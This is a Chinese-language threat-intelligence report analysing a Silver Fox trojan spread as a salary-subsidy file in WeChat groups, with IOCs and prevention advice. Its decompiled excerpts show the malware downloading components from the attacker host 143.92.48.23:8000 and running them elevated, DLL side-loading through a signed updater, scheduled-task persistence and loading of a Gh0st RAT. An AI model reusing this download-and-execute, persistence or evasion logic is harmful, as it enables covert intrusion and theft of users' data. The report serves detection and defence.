银狐木马最新攻击手法分析

概述

  近日 瑞星威胁情报平台 捕获到一起银狐木马的攻击事件,鉴于平台监测该木马有爆发的趋势,故此针对此次捕获的样本进行分析说明。

  银狐木马主要通过钓鱼网页、即时通讯软件、下载站伪装成常用软件供用户下载等方式进行传播,通过钓鱼、即时通讯软件传播的木马文件名称通常包含发票税务补贴通知薪资等极具诱导性的字眼,以诱导用户打开,木马运行后会联网下载真正的木马病毒,进而攻击者利用远控木马监控用户日常操作,获取隐私信息等。

事件详情

  此次捕获的样本在微信群中传播,其名称以具有诱导性的文字命名10月新政财会人员薪资补贴调整新政策

image

图:微信钓鱼文件

攻击流程

image

样本分析

初始样本分析

字段 内容
原始文件名 TRBYU23.exe
文件大小 143KB
文件MD5 4a536dfc75a0230166a52f3ac5917b5a
文件类型 NSIS 安装包
病毒名 Trojan.Kryptik!1.EC3B
主要功能 内存解密ShellCode下载DLL加载并调用其导出函数

  病毒运行后会在内存中解密一段ShellCode

image

图:解密ShellCode与一阶段DLL网络地址

  执行ShellCode联网下载hn-3 DLL

image

图:联网下载DLL

  内存加载该DLL并调用其导出函数Edge

and     [ebp+var_134], 0
lea     eax, [ebp+var_138]
mov     [edi+10h], esi
mov     esi, [edi+4]
push    eax
mov     [ebp+var_138], 'egdE' 
call    GetProcAddress_40A6C4
pop     ecx
test    eax, eax
jz      short loc_40B3CB
call    eax
jmp     short loc_40B3CB

hn-3 DLL分析

字段 内容
原始文件名 hn-3
实际名称 downexec.dll
文件大小 71KB
文件MD5 2f2a82ea6d06f979587fcf840008e9b7
文件类型 DLL
病毒名 Downloader.Agent!1.EC5B
主要功能 进程检测、下载白加黑套件

  进入Edge导出函数后首先创建互斥量,防止自身重复运行,然后遍历进程检测是否存在360TraY.eXe360sD.exe进程,存在则弹窗提示退出360相关安全软件。

image

图:创建互斥量、进程检测部分代码

  通过环境变量获取AppData路径,并将白加黑套件下载到该目录,其中.exe.dat文件名相同且是随机的10位字母数字,还有edge.xmledge.jpg,最后以管理员权限运行随机命名的可执行文件。

strcat_10001800((int)&v7, "\\", 1u);
  sub_10001700((int)&v19, 0, 0xFFFFFFFF);
  strcat_10001800((int)&v7, ".exe", 4u);
  urlpath = 0;
  memset(v25, 0, sizeof(v25));
  sprintf_s(&urlpath, 0x104u, "http://%s/%d", "143.92.48.23:8000", 1);
  exefilepath = v8[0];
  if ( v10 < 0x10 )
    exefilepath = (const CHAR *)v8;
  if ( downfile_10001050(&urlpath, exefilepath) >= 0 )
  {
    v14 = 15;
    v13 = 0;
    LOBYTE(v12) = 0;
    sub_10001910(Source, strlen((const char *)Source));
    LOBYTE(v26) = 2;
    strcat_10001800((int)&v11, "\\", 1u);
    sub_10001700((int)&v19, 0, 0xFFFFFFFF);
    strcat_10001800((int)&v11, ".dat", 4u);
    sprintf_s(&urlpath, 0x104u, "http://%s/%d", "143.92.48.23:8000", 2);
    datfilepath = v12;
    if ( v14 < 0x10 )
      datfilepath = (const CHAR *)&v12;
    if ( downfile_10001050(&urlpath, datfilepath) >= 0 )
    {
      v18 = 15;
      v17 = 0;
      LOBYTE(v16) = 0;
      sub_10001910(Source, strlen((const char *)Source));
      LOBYTE(v26) = 3;
      strcat_10001800((int)&v15, "\\edge.xml", 9u);
      sprintf_s(&urlpath, 0x104u, "http://%s/%d", "143.92.48.23:8000", 3);
      v4 = v16;
      if ( v18 < 0x10 )
        v4 = (const CHAR *)&v16;
      if ( downfile_10001050(&urlpath, v4) >= 0 )
      {
        sub_10001A20(Source);
        LOBYTE(v26) = 4;
        strcat_10001800((int)&v22, "\\edge.jpg", 9u);
        sprintf_s(&urlpath, 0x104u, "http://%s/%d", "143.92.48.23:8000", 4);
        v5 = v23[0];
        if ( v23[5] < (LPCSTR)0x10 )
          v5 = (const CHAR *)v23;
        if ( downfile_10001050(&urlpath, v5) >= 0 )
        {
          memset(&pExecInfo.fMask, 0, 0x38u);
          pExecInfo.cbSize = 60;
          pExecInfo.fMask = 0;
          pExecInfo.hwnd = 0;
          pExecInfo.lpVerb = "runas";
          if ( v10 < 0x10 )
            pExecInfo.lpFile = (LPCSTR)v8;
          else
            pExecInfo.lpFile = v8[0];
          pExecInfo.lpDirectory = (LPCSTR)Source;
          pExecInfo.lpParameters = 0;
          pExecInfo.nShow = 8;
          while ( !ShellExecuteExA(&pExecInfo) )

image

图:下载的白加黑套件

白加黑套件分析

  执行的YWxC1XO8kj.exe实际是TrueUpdate3.8版本的软件更新工具,具有合法的数字签名。

image

图:白文件的数字签名信息

  其运行后会加载同目录下同名的.dat文件,该文件实际是带密码的压缩包,其解压密码为99B2328D3FDF4E9E98559B4414F7ACB9且以明文形式存储在白文件中,解压.dat文件后加载其中的_TUProj.dat,其实际为lua脚本。

image

图:.dat文件中的lua脚本

image

图:执行lua脚本中的ShelllCode

  Lua脚本中ShellCode功能为读取白文件同目录下的edge.xml,并修复文件的前5字节。

image

图:ShellCode修复edge.xml文件

  修复后的edge.xml实际为DLL文件,内存加载后会创建计划任务实现持久化,任务名称可以是MicrosoftEdgeUpdateTaskUA Task-S-1-5-18或者由多个内置单词拼接组成。

            Task_name = L"MicrosoftEdgeUpdateTaskUA Task-S-1-5-18";
            Splicing_words = sub_10002C80();
            hMem = Splicing_words;
            if ( Splicing_words )
              Task_name = (const wchar_t *)Splicing_words;
            *(_DWORD *)&v42[1] = 0;
            v43 = 0;
            v44 = 0;
            v45 = 0;
            v42[0] = 8;
            v40 = 0;
            if ( (*(int (__stdcall **)(BSTR, const wchar_t *, void *, int, _DWORD, ULONG, LONG, LONG, _DWORD, ULONG, LONG, LONG, int, int, _DWORD, void *, _DWORD, int *))(*(_DWORD *)bstrString + 0x44))(
                   bstrString,
                   Task_name,
                   v27,
                   6,
                   *(_DWORD *)&pvarg.vt,
                   pvarg.decVal.Hi32,
                   pvarg.lVal,
                   pvarg.cyVal.Hi,
                   *(_DWORD *)&pvarg.vt,
                   pvarg.decVal.Hi32,
                   pvarg.lVal,
                   pvarg.cyVal.Hi,
                   3,
                   8,
                   0,
                   &unk_1000EB60,
                   0,
                   &v40) >= 0 )

image

图:添加的计划任务

  然后解密同目录下的edge.jpg,解密出的DLL在内存加载并调用其导出函数Edge,该DLL实际为Gh0st远控木马,该木马可以获取中毒用户的按键记录、获取浏览器隐私信息、获取当前登录的QQ账号、更新C2地址等。

        memcpy(result, v1, v8 * 2);
        *(_DWORD *)&v7[v8] = 'd\0E';
        *(_DWORD *)&v7[v8 + 2] = 'e\0g';
        *(_DWORD *)&v7[v8 + 4] = 'j\0.';
        *(_DWORD *)&v7[v8 + 6] = 'g\0p';
        LOBYTE(v7[v8 + 8]) = 0;
        v9 = v7;
        if ( *v7 == 34 )
          v9 = v7 + 1;
        result = CreateFileW(v9, 0x80000000, 1u, 0, 3u, 0x80u, 0);// Edge.jpg
        v10 = result;
        if ( result != (_WORD *)-1 )
        {
          FileSizeHigh = 0;
          v11 = GetFileSize(result, &FileSizeHigh);
          v12 = LocalAlloc(0x40u, v11);
          if ( v12 )
          {
            v14 = ReadFile(v10, v12, v11, &FileSizeHigh, 0);
            CloseHandle(v10);
            if ( v14 )
            {
              v14 = v11;
              v13 = (void *)decrypt_picture(v12, &v14);
              if ( v13 )
                Run_backdoor(v13, v14);
            }
            LocalFree(v12);
            result = LocalFree(v7);
          }
          else
          {
            CloseHandle(v10);
            result = LocalFree(v7);
          }

  此版本具有联网下载、更换最终执行木马的功能,此版本木马下载地址并非真实有效的URL地址,因此怀疑此次捕获的是银狐木马最新的测试版本。

            memset(&Dst[1], 0, 0x103u);
      v4 = sub_10001040();                      // 随机在目录列表里取个路径
                                                // %APPDATA%
                                                // %USERPROFILE%
                                                // %ALLUSERSPROFILE%"
                                                // %USERPROFILE%\\Documents"
                                                // %USERPROFILE%\\Pictures"
                                                // "%USERPROFILE%\\Music"
                                                // "%USERPROFILE%\\Videos"
                                                // "%PUBLIC%\\Libraries"
                                                // 
      ExpandEnvironmentStringsA(v4, Dst, 0x104u);
      ((void (__cdecl *)(_DWORD))sub_10001C60)(v34);
      LOBYTE(v40) = 4;
      ((void (__cdecl *)(_DWORD))sub_10001C60)(v35);
      LOBYTE(v40) = 5;
      ((void (__stdcall *)(void *))sub_10001AD0)(Dst);
      LOBYTE(v40) = 6;
      ((void (__stdcall *)(void *))sub_10001B10)("\\");
      sub_10001620((int)v34, 0, 0xFFFFFFFF);
      v5 = lpPathName[0];
      if ( v33 < 0x10 )
        v5 = (const CHAR *)lpPathName;
      CreateDirectoryA(v5, 0);
      ((void (__stdcall *)(void *))sub_10001B10)("\\");
      sub_10001620((int)v35, 0, 0xFFFFFFFF);
      ((void (__stdcall *)(void *))sub_10001B10)(".png");
      save_path = lpPathName[0];
      if ( v33 < 0x10 )
        save_path = (const CHAR *)lpPathName;
      v7 = URLDownloadToFileA(0, "REPLACE ME TO BACKDOOR URL", save_path, 0, 0);
      if ( v7 > (int)0x800C0008 && !v7 )
      {
        backdoor_path_v8 = lpPathName[0];
        if ( v33 < 0x10 )
          backdoor_path_v8 = (const char *)lpPathName;
        strcpy_s((char *)&Data, 0x104u, backdoor_path_v8);
        v9 = (LPCSTR *)lpPathName[0];
        if ( v33 < 0x10 )
          v9 = lpPathName;
        if ( !RegSetValueExA((HKEY)Type, v2, 0, 1u, (const BYTE *)v9, v32) )
        {
          sub_100013C0(&pcbBinary);
          sub_100013C0(v35);
          LOBYTE(v40) = 2;
          sub_100013C0(v34);
          goto LABEL_38;
        }
      }
      sub_100013C0(&pcbBinary);
      sub_100013C0(v35);
      sub_100013C0(v34);
    }
LABEL_31:
    delete_(v26);
    delete_(v22);
    return 0;
  }
LABEL_38:
  v10 = CreateFileA((LPCSTR)&Data, 0x80000000, 1u, 0, 3u, 0x80u, 0);
  v11 = v10;
  if ( v10 == (HANDLE)-1 )
    goto LABEL_31;
  v12 = GetFileSize(v10, (LPDWORD)&phkResult);
  v13 = GetProcessHeap();
  v14 = HeapAlloc(v13, 0x40u, v12);
  if ( !v14 )
    goto LABEL_31;
  ReadFile(v11, v14, v12, (LPDWORD)&phkResult, 0);
  CloseHandle(v11);
  cbData = (DWORD)phkResult;
  v15 = (void *)decrypt_picture((int)v14, (int *)&cbData);// 解密木马
  if ( v15 )
    Run_backdoor(v15, cbData);                  // 执行木马

总结

  银狐木马攻击团伙自2022年开始活跃,其传播手段包括:即时通讯工具钓鱼,邮件附件钓鱼,钓鱼网站,下载站冒充常用工具等方式,主要针对企事业单位的管理、财务、销售、金融从业等相关人员发送具有针对性的钓鱼、欺诈类信息,望企事业单位务必要引起重视并加强相关安全培训,防范该家族木马的攻击。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    4a536dfc75a0230166a52f3ac5917b5a
    2f2a82ea6d06f979587fcf840008e9b7
  • URL

    hxxp://143.92.48.23:8000/hn-3
    hxxp://143.92.48.23:8000/1
    hxxp://143.92.48.23:8000/2
    hxxp://143.92.48.23:8000/3
    hxxp://143.92.48.23:8000/4
  • 瑞星病毒名

    Trojan.Kryptik!1.EC3B
    Downloader.Agent!1.EC5B
    Trojan.Loader!1.EC5D

参考链接

Author